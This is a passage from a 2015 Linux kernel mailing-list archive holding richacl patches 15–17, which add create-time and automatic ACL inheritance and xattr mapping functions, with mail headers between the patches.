[PATCH v11 15/48] richacl: Create-time inheritance Message-Id: <1445008706-15115-16-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008814 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When a new file is created, it can inherit an acl from its parent directory; this is similar to how default acls work in POSIX (draft) ACLs. As with POSIX ACLs, if a file inherits an acl from its parent directory, the intersection between the create mode and the permissions granted by the inherited acl determines the file masks and file permission bits, and the umask is ignored. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 68 +++++++++++++++++++++++++++++++++++++++++++++++ fs/richacl_inode.c | 70 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 2 ++ 3 files changed, 140 insertions(+) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index f4b8d3c..cb5081e 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -486,3 +486,71 @@ richacl_equiv_mode(const struct richacl *acl, umode_t *mode_p) return 0; } EXPORT_SYMBOL_GPL(richacl_equiv_mode); + +/** + * richacl_inherit - compute the inherited acl of a new file + * @dir_acl: acl of the containing directory + * @isdir: inherit by a directory or non-directory? + * + * A directory can have acl entries which files and/or directories created + * inside the directory will inherit. This function computes the acl for such + * a new file. If there is no inheritable acl, it will return %NULL. + */ +struct richacl * +richacl_inherit(const struct richacl *dir_acl, int isdir) +{ + const struct richace *dir_ace; + struct richacl *acl = NULL; + struct richace *ace; + int count = 0; + + if (isdir) { + richacl_for_each_entry(dir_ace, dir_acl) { + if (!richace_is_inheritable(dir_ace)) + continue; + count++; + } + if (!count) + return NULL; + acl = richacl_alloc(count, GFP_KERNEL); + if (!acl) + return ERR_PTR(-ENOMEM); + ace = acl->a_entries; + richacl_for_each_entry(dir_ace, dir_acl) { + if (!richace_is_inheritable(dir_ace)) + continue; + richace_copy(ace, dir_ace); + if (dir_ace->e_flags & RICHACE_NO_PROPAGATE_INHERIT_ACE) + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + else if (!(dir_ace->e_flags & RICHACE_DIRECTORY_INHERIT_ACE)) + ace->e_flags |= RICHACE_INHERIT_ONLY_ACE; + ace++; + } + } else { + richacl_for_each_entry(dir_ace, dir_acl) { + if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) + continue; + count++; + } + if (!count) + return NULL; + acl = richacl_alloc(count, GFP_KERNEL); + if (!acl) + return ERR_PTR(-ENOMEM); + ace = acl->a_entries; + richacl_for_each_entry(dir_ace, dir_acl) { + if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) + continue; + richace_copy(ace, dir_ace); + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + /* + * RICHACE_DELETE_CHILD is meaningless for + * non-directories, so clear it. + */ + ace->e_mask &= ~RICHACE_DELETE_CHILD; + ace++; + } + } + + return acl; +} diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index be11832..4f3a1b7 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -252,3 +252,73 @@ richacl_chmod(struct inode *inode, umode_t mode) return retval; } EXPORT_SYMBOL(richacl_chmod); + +/* + * richacl_inherit_inode - compute inherited acl and file mode + * @dir_acl: acl of the containing directory + * @mode_p: mode of the new inode + * + * The file permission bits in @mode_p must be set to the create mode by the + * caller. + * + * If there is an inheritable acl, the maximum permissions that the acl grants + * are computed and the file masks of the new acl are set accordingly. + */ +static struct richacl * +richacl_inherit_inode(const struct richacl *dir_acl, umode_t *mode_p) +{ + struct richacl *acl; + umode_t mode = *mode_p; + + acl = richacl_inherit(dir_acl, S_ISDIR(mode)); + if (acl) { + if (richacl_equiv_mode(acl, &mode) == 0) { + *mode_p &= mode; + richacl_put(acl); + acl = NULL; + } else { + richacl_compute_max_masks(acl); + /* + * Ensure that the acl will not grant any permissions + * beyond the create mode. + */ + acl->a_flags |= RICHACL_MASKED; + acl->a_owner_mask &= + richacl_mode_to_mask(mode >> 6); + acl->a_group_mask &= + richacl_mode_to_mask(mode >> 3); + acl->a_other_mask &= + richacl_mode_to_mask(mode); + } + } else + *mode_p &= ~current_umask(); + + return acl; +} + +/** + * richacl_create - filesystem create helper + * @mode_p: mode of the new inode + * @dir: containing directory + * + * Compute the inherited acl for a new inode. If there is no acl to inherit, + * apply the umask. Use when creating a new inode on a richacl enabled file + * system. + */ +struct richacl *richacl_create(umode_t *mode_p, struct inode *dir) +{ + struct richacl *dir_acl, *acl = NULL; + + if (S_ISLNK(*mode_p)) + return NULL; + dir_acl = get_richacl(dir); + if (dir_acl) { + if (IS_ERR(dir_acl)) + return dir_acl; + acl = richacl_inherit_inode(dir_acl, mode_p); + richacl_put(dir_acl); + } else + *mode_p &= ~current_umask(); + return acl; +} +EXPORT_SYMBOL_GPL(richacl_create); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 49d84dd..d7e10aa 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -223,9 +223,11 @@ extern unsigned int richacl_want_to_mask(unsigned int); extern void richacl_compute_max_masks(struct richacl *); extern struct richacl *__richacl_chmod(struct richacl *, umode_t); extern int richacl_equiv_mode(const struct richacl *, umode_t *); +extern struct richacl *richacl_inherit(const struct richacl *, int); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); extern int richacl_chmod(struct inode *, umode_t); +extern struct richacl *richacl_create(umode_t *, struct inode *); #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:20:23 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1B7907F73 for ; Fri, 16 Oct 2015 10:20:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0C9A6304053 for ; Fri, 16 Oct 2015 08:20:22 -0700 (PDT) X-ASG-Debug-ID: 1445008821-04cb6c3ced39fb0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EnV3OkECDniSc9P5 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:20:21 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id B5AF932C426; Fri, 16 Oct 2015 15:20:20 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRbx011947; Fri, 16 Oct 2015 11:20:14 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 16/48] richacl: Automatic Inheritance Date: Fri, 16 Oct 2015 17:17:54 +0200 X-ASG-Orig-Subj: [PATCH v11 16/48] richacl: Automatic Inheritance Message-Id: <1445008706-15115-17-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008821 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Automatic Inheritance (AI) allows changes to the acl of a directory to propagate down to children. This is mostly implemented in user space: when a process changes the permissions of a directory and Automatic Inheritance is enabled for that directory, the process must propagate those changes to all children, recursively. The kernel enables this by keeping track of which permissions have been inherited at create time. In addition, it makes sure that permission propagation is turned off when the permissions are set explicitly (for example, upon create or chmod). Automatic Inheritance works as follows: - When the RICHACL_AUTO_INHERIT flag in the acl of a file or directory is not set, the file or directory is not affected by AI. - When the RICHACL_AUTO_INHERIT flag in the acl of a directory is set and a file or subdirectory is created in that directory, the inherited acl will have the RICHACL_AUTO_INHERIT flag set, and all inherited aces will have the RICHACE_INHERITED_ACE flag set. This allows user space to distinguish between aces which have been inherited and aces which have been explicitly added. - When the RICHACL_PROTECTED acl flag in the acl of a file or directory is set, AI will not modify the acl. This does not affect propagation of permissions from the file to its children (if the file is a directory). Linux does not have a way of creating files or directories without setting the file permission bits, so all files created inside a directory with RICHACL_AUTO_INHERIT set will have the RICHACL_PROTECTED flag set. This effectively disables Automatic Inheritance. Protocols which support creating files without specifying permissions can explicitly clear the RICHACL_PROTECTED flag after creating a file and reset the file masks to "undo" applying the create mode; see richacl_compute_max_masks(). They should set the RICHACL_DEFAULTED flag. (A mechanism that would allow to indicate to the kernel to ignore the create mode in the first place when there are inherited permissions would be nice to have.) Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_base.c | 10 +++++++++- fs/richacl_inode.c | 7 +++++++ include/linux/richacl.h | 19 ++++++++++++++++++- 3 files changed, 34 insertions(+), 2 deletions(-) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index cb5081e..3a97a82 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -366,7 +366,8 @@ __richacl_chmod(struct richacl *acl, umode_t mode) acl->a_group_mask == group_mask && acl->a_other_mask == other_mask && (acl->a_flags & RICHACL_MASKED) && - (acl->a_flags & RICHACL_WRITE_THROUGH)) + (acl->a_flags & RICHACL_WRITE_THROUGH) && + (!richacl_is_auto_inherit(acl) || richacl_is_protected(acl))) return acl; clone = richacl_clone(acl, GFP_KERNEL); @@ -378,6 +379,8 @@ __richacl_chmod(struct richacl *acl, umode_t mode) clone->a_owner_mask = owner_mask; clone->a_group_mask = group_mask; clone->a_other_mask = other_mask; + if (richacl_is_auto_inherit(clone)) + clone->a_flags |= RICHACL_PROTECTED; return clone; } @@ -551,6 +554,11 @@ richacl_inherit(const struct richacl *dir_acl, int isdir) ace++; } } + if (richacl_is_auto_inherit(dir_acl)) { + acl->a_flags = RICHACL_AUTO_INHERIT; + richacl_for_each_entry(ace, acl) + ace->e_flags |= RICHACE_INHERITED_ACE; + } return acl; } diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index 4f3a1b7..b88a2f1 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -277,6 +277,13 @@ richacl_inherit_inode(const struct richacl *dir_acl, umode_t *mode_p) richacl_put(acl); acl = NULL; } else { + /* + * We need to set RICHACL_PROTECTED because we are + * doing an implicit chmod + */ + if (richacl_is_auto_inherit(acl)) + acl->a_flags |= RICHACL_PROTECTED; + richacl_compute_max_masks(acl); /* * Ensure that the acl will not grant any permissions diff --git a/include/linux/richacl.h b/include/linux/richacl.h index d7e10aa..67843a6 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -41,6 +41,9 @@ struct richacl { }; #define RICHACL_VALID_FLAGS ( \ + RICHACL_AUTO_INHERIT | \ + RICHACL_PROTECTED | \ + RICHACL_DEFAULTED | \ RICHACL_WRITE_THROUGH | \ RICHACL_MASKED) @@ -50,13 +53,15 @@ struct richacl { RICHACE_NO_PROPAGATE_INHERIT_ACE | \ RICHACE_INHERIT_ONLY_ACE | \ RICHACE_IDENTIFIER_GROUP | \ + RICHACE_INHERITED_ACE | \ RICHACE_SPECIAL_WHO) #define RICHACE_INHERITANCE_FLAGS ( \ RICHACE_FILE_INHERIT_ACE | \ RICHACE_DIRECTORY_INHERIT_ACE | \ RICHACE_NO_PROPAGATE_INHERIT_ACE | \ - RICHACE_INHERIT_ONLY_ACE ) + RICHACE_INHERIT_ONLY_ACE | \ + RICHACE_INHERITED_ACE) /* Valid RICHACE_* flags for directories and non-directories */ #define RICHACE_VALID_MASK ( \ @@ -113,6 +118,18 @@ extern void set_cached_richacl(struct inode *, struct richacl *); extern void forget_cached_richacl(struct inode *); extern struct richacl *get_richacl(struct inode *); +static inline int +richacl_is_auto_inherit(const struct richacl *acl) +{ + return acl->a_flags & RICHACL_AUTO_INHERIT; +} + +static inline int +richacl_is_protected(const struct richacl *acl) +{ + return acl->a_flags & RICHACL_PROTECTED; +} + /** * richace_is_owner - check if @ace is an OWNER@ entry */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:20:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CEDF37F80 for ; Fri, 16 Oct 2015 10:20:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4A21AAC002 for ; Fri, 16 Oct 2015 08:20:30 -0700 (PDT) X-ASG-Debug-ID: 1445008827-04cbb035aa43830001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id q2ZPvhnsM5tsn2dq (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:20:28 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 68863C0B2B57; Fri, 16 Oct 2015 15:20:27 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc0011947; Fri, 16 Oct 2015 11:20:21 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 17/48] richacl: xattr mapping functions Date: Fri, 16 Oct 2015 17:17:55 +0200 X-ASG-Orig-Subj: [PATCH v11 17/48] richacl: xattr mapping functions Message-Id: <1445008706-15115-18-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008827 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Map between "system.richacl" xattrs and the in-kernel representation. Signed-off-by: Andreas Gruenbacher --- fs/Makefile | 2 +- fs/richacl_xattr.c | 220 +++++++++++++++++++++++++++++++++++++ fs/xattr.c | 34 +++++- include/linux/richacl_xattr.h | 42 +++++++ include/uapi/linux/Kbuild | 1 + include/uapi/linux/richacl_xattr.h | 44 ++++++++ include/uapi/linux/xattr.h | 2 + 7 files changed, 338 insertions(+), 7 deletions(-) create mode 100644 fs/richacl_xattr.c create mode 100644 include/linux/richacl_xattr.h create mode 100644 include/uapi/linux/richacl_xattr.h diff --git a/fs/Makefile b/fs/Makefile index ec665fd..35e640d 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -49,7 +49,7 @@ obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o obj-$(CONFIG_FS_RICHACL) += richacl.o -richacl-y := richacl_base.o richacl_inode.o +richacl-y := richacl_base.o richacl_inode.o richacl_xattr.o obj-y += quota/ diff --git a/fs/richacl_xattr.c b/fs/richacl_xattr.c new file mode 100644 index 0000000..cd9979d --- /dev/null +++ b/fs/richacl_xattr.c @@ -0,0 +1,220 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); + +/** + * richacl_from_xattr - convert a richacl xattr into the in-memory representation + */ +struct richacl * +richacl_from_xattr(struct user_namespace *user_ns, + const void *value, size_t size) +{ + const struct richacl_xattr *xattr_acl = value; + const struct richace_xattr *xattr_ace = (void *)(xattr_acl + 1); + struct richacl *acl; + struct richace *ace; + int count; + + if (size < sizeof(*xattr_acl) || + xattr_acl->a_version != RICHACL_XATTR_VERSION || + (xattr_acl->a_flags & ~RICHACL_VALID_FLAGS)) + return ERR_PTR(-EINVAL); + size -= sizeof(*xattr_acl); + count = le16_to_cpu(xattr_acl->a_count); + if (count > RICHACL_XATTR_MAX_COUNT) + return ERR_PTR(-EINVAL); + if (size != count * sizeof(*xattr_ace)) + return ERR_PTR(-EINVAL); + + acl = richacl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + + acl->a_flags = xattr_acl->a_flags; + acl->a_owner_mask = le32_to_cpu(xattr_acl->a_owner_mask); + if (acl->a_owner_mask & ~RICHACE_VALID_MASK) + goto fail_einval; + acl->a_group_mask = le32_to_cpu(xattr_acl->a_group_mask); + if (acl->a_group_mask & ~RICHACE_VALID_MASK) + goto fail_einval; + acl->a_other_mask = le32_to_cpu(xattr_acl->a_other_mask); + if (acl->a_other_mask & ~RICHACE_VALID_MASK) + goto fail_einval; + + richacl_for_each_entry(ace, acl) { + ace->e_type = le16_to_cpu(xattr_ace->e_type); + ace->e_flags = le16_to_cpu(xattr_ace->e_flags); + ace->e_mask = le32_to_cpu(xattr_ace->e_mask); + + if (ace->e_flags & ~RICHACE_VALID_FLAGS) + goto fail_einval; + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + ace->e_id.special = le32_to_cpu(xattr_ace->e_id); + if (ace->e_id.special > RICHACE_EVERYONE_SPECIAL_ID) + goto fail_einval; + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + u32 id = le32_to_cpu(xattr_ace->e_id); + + ace->e_id.gid = make_kgid(user_ns, id); + if (!gid_valid(ace->e_id.gid)) + goto fail_einval; + } else { + u32 id = le32_to_cpu(xattr_ace->e_id); + + ace->e_id.uid = make_kuid(user_ns, id); + if (!uid_valid(ace->e_id.uid)) + goto fail_einval; + } + if (ace->e_type > RICHACE_ACCESS_DENIED_ACE_TYPE || + (ace->e_mask & ~RICHACE_VALID_MASK)) + goto fail_einval; + + xattr_ace++; + } + + return acl; + +fail_einval: + richacl_put(acl); + return ERR_PTR(-EINVAL); +} +EXPORT_SYMBOL_GPL(richacl_from_xattr); + +/** + * richacl_xattr_size - compute the size of the xattr representation of @acl + */ +size_t +richacl_xattr_size(const struct richacl *acl) +{ + size_t size = sizeof(struct richacl_xattr); + + size += sizeof(struct richace_xattr) * acl->a_count; + return size; +} +EXPORT_SYMBOL_GPL(richacl_xattr_size); + +/** + * richacl_to_xattr - convert @acl into its xattr representation + * @acl: the richacl to convert + * @buffer: buffer for the result + * @size: size of @buffer + */ +int +richacl_to_xattr(struct user_namespace *user_ns, + const struct richacl *acl, void *buffer, size_t size) +{ + struct richacl_xattr *xattr_acl = buffer; + struct richace_xattr *xattr_ace; + const struct richace *ace; + size_t real_size; + + real_size = richacl_xattr_size(acl); + if (!buffer) + return real_size; + if (real_size > size) + return -ERANGE; + + xattr_acl->a_version = RICHACL_XATTR_VERSION; + xattr_acl->a_flags = acl->a_flags; + xattr_acl->a_count = cpu_to_le16(acl->a_count); + + xattr_acl->a_owner_mask = cpu_to_le32(acl->a_owner_mask); + xattr_acl->a_group_mask = cpu_to_le32(acl->a_group_mask); + xattr_acl->a_other_mask = cpu_to_le32(acl->a_other_mask); + + xattr_ace = (void *)(xattr_acl + 1); + richacl_for_each_entry(ace, acl) { + xattr_ace->e_type = cpu_to_le16(ace->e_type); + xattr_ace->e_flags = cpu_to_le16(ace->e_flags); + xattr_ace->e_mask = cpu_to_le32(ace->e_mask); + if (ace->e_flags & RICHACE_SPECIAL_WHO) + xattr_ace->e_id = cpu_to_le32(ace->e_id.special); + else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + xattr_ace->e_id = + cpu_to_le32(from_kgid(user_ns, ace->e_id.gid)); + else + xattr_ace->e_id = + cpu_to_le32(from_kuid(user_ns, ace->e_id.uid)); + xattr_ace++; + } + return real_size; +} +EXPORT_SYMBOL_GPL(richacl_to_xattr); + +/* + * Fix up the uids and gids in richacl extended attributes in place. + */ +static void richacl_fix_xattr_userns( + struct user_namespace *to, struct user_namespace *from, + void *value, size_t size) +{ + struct richacl_xattr *xattr_acl = value; + struct richace_xattr *xattr_ace = + (struct richace_xattr *)(xattr_acl + 1); + unsigned int count; + + if (!value) + return; + if (size < sizeof(*xattr_acl)) + return; + if (xattr_acl->a_version != cpu_to_le32(RICHACL_XATTR_VERSION)) + return; + size -= sizeof(*xattr_acl); + if (size % sizeof(*xattr_ace)) + return; + count = size / sizeof(*xattr_ace); + for (; count; count--, xattr_ace++) { + if (xattr_ace->e_flags & cpu_to_le16(RICHACE_SPECIAL_WHO)) + continue; + if (xattr_ace->e_flags & + cpu_to_le16(RICHACE_IDENTIFIER_GROUP)) { + u32 id = le32_to_cpu(xattr_ace->e_id); + kgid_t gid = make_kgid(from, id); + + xattr_ace->e_id = cpu_to_le32(from_kgid(to, gid)); + } else { + u32 id = le32_to_cpu(xattr_ace->e_id); + kuid_t uid = make_kuid(from, id); + + xattr_ace->e_id = cpu_to_le32(from_kuid(to, uid)); + } + } +} + +void richacl_fix_xattr_from_user(void *value, size_t size) +{ + struct user_namespace *user_ns = current_user_ns(); + + if (user_ns == &init_user_ns) + return; + richacl_fix_xattr_userns(&init_user_ns, user_ns, value, size); +} + +void richacl_fix_xattr_to_user(void *value, size_t size) +{ + struct user_namespace *user_ns = current_user_ns(); + + if (user_ns == &init_user_ns) + return; + richacl_fix_xattr_userns(user_ns, &init_user_ns, value, size); +} diff --git a/fs/xattr.c b/fs/xattr.c index 072fee1..f2313c6 100644 --- a/fs/xattr.c +++ b/fs/xattr.c @@ -21,6 +21,7 @@ #include #include #include +#include #include @@ -314,6 +315,18 @@ out: } EXPORT_SYMBOL_GPL(vfs_removexattr); +static void +fix_xattr_from_user(const char *kname, void *kvalue, size_t size) +{ + if (strncmp(kname, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return; + kname += XATTR_SYSTEM_PREFIX_LEN; + if (!strcmp(kname, XATTR_POSIX_ACL_ACCESS) || + !strcmp(kname, XATTR_POSIX_ACL_DEFAULT)) + posix_acl_fix_xattr_from_user(kvalue, size); + else if (!strcmp(kname, XATTR_RICHACL)) + richacl_fix_xattr_from_user(kvalue, size); +} /* * Extended attribute SET operations @@ -350,9 +363,7 @@ setxattr(struct dentry *d, const char __user *name, const void __user *value, error = -EFAULT; goto out; } - if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || - (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) - posix_acl_fix_xattr_from_user(kvalue, size); + fix_xattr_from_user(kname, kvalue, size); } error = vfs_setxattr(d, kname, kvalue, size, flags); @@ -419,6 +430,19 @@ SYSCALL_DEFINE5(fsetxattr, int, fd, const char __user *, name, return error; } +static void +fix_xattr_to_user(const char *kname, void *kvalue, size_t size) +{ + if (strncmp(kname, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) + return; + kname += XATTR_SYSTEM_PREFIX_LEN; + if (!strcmp(kname, XATTR_POSIX_ACL_ACCESS) || + !strcmp(kname, XATTR_POSIX_ACL_DEFAULT)) + posix_acl_fix_xattr_to_user(kvalue, size); + else if (!strcmp(kname, XATTR_RICHACL)) + richacl_fix_xattr_to_user(kvalue, size); +} + /* * Extended attribute GET operations */ @@ -451,9 +475,7 @@ getxattr(struct dentry *d, const char __user *name, void __user *value, error = vfs_getxattr(d, kname, kvalue, size); if (error > 0) { - if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) || - (strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0)) - posix_acl_fix_xattr_to_user(kvalue, size); + fix_xattr_to_user(kname, kvalue, size); if (size && copy_to_user(value, kvalue, error)) error = -EFAULT; } else if (error == -ERANGE && size >= XATTR_SIZE_MAX) { diff --git a/include/linux/richacl_xattr.h b/include/linux/richacl_xattr.h new file mode 100644 index 0000000..a088a1d --- /dev/null +++ b/include/linux/richacl_xattr.h @@ -0,0 +1,42 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __RICHACL_XATTR_H +#define __RICHACL_XATTR_H + +#include +#include + +extern struct richacl *richacl_from_xattr(struct user_namespace *, const void *, + size_t); +extern size_t richacl_xattr_size(const struct richacl *); +extern int richacl_to_xattr(struct user_namespace *, const struct richacl *, + void *, size_t); + +#ifdef CONFIG_FS_RICHACL +extern void richacl_fix_xattr_from_user(void *, size_t); +extern void richacl_fix_xattr_to_user(void *, size_t); +#else +static inline void richacl_fix_xattr_from_user(void *value, size_t size) +{ +} + +static inline void richacl_fix_xattr_to_user(void *value, size_t size) +{ +} +#endif + +#endif /* __RICHACL_XATTR_H */ diff --git a/include/uapi/linux/Kbuild b/include/uapi/linux/Kbuild index 8c82010..18ad070 100644 --- a/include/uapi/linux/Kbuild +++ b/include/uapi/linux/Kbuild @@ -349,6 +349,7 @@ header-y += reiserfs_fs.h header-y += reiserfs_xattr.h header-y += resource.h header-y += richacl.h +header-y += richacl_xattr.h header-y += rfkill.h header-y += romfs_fs.h header-y += rose.h diff --git a/include/uapi/linux/richacl_xattr.h b/include/uapi/linux/richacl_xattr.h new file mode 100644 index 0000000..3d976a1 --- /dev/null +++ b/include/uapi/linux/richacl_xattr.h @@ -0,0 +1,44 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __UAPI_RICHACL_XATTR_H +#define __UAPI_RICHACL_XATTR_H + +#include +#include + +struct richace_xattr { + __le16 e_type; + __le16 e_flags; + __le32 e_mask; + __le32 e_id; +}; + +struct richacl_xattr { + unsigned char a_version; + unsigned char a_flags; + __le16 a_count; + __le32 a_owner_mask; + __le32 a_group_mask; + __le32 a_other_mask; +}; + +#define RICHACL_XATTR_VERSION 0 +#define RICHACL_XATTR_MAX_COUNT \ + ((XATTR_SIZE_MAX - sizeof(struct richacl_xattr)) / \ + sizeof(struct richace_xattr)) + +#endif /* __UAPI_RICHACL_XATTR_H */ diff --git a/include/uapi/linux/xattr.h b/include/uapi/linux/xattr.h index 1590c49..1996903 100644 --- a/include/uapi/linux/xattr.h +++ b/include/uapi/linux/xattr.h @@ -73,5 +73,7 @@ #define XATTR_POSIX_ACL_DEFAULT "posix_acl_default" #define XATTR_NAME_POSIX_ACL_DEFAULT XATTR_SYSTEM_PREFIX 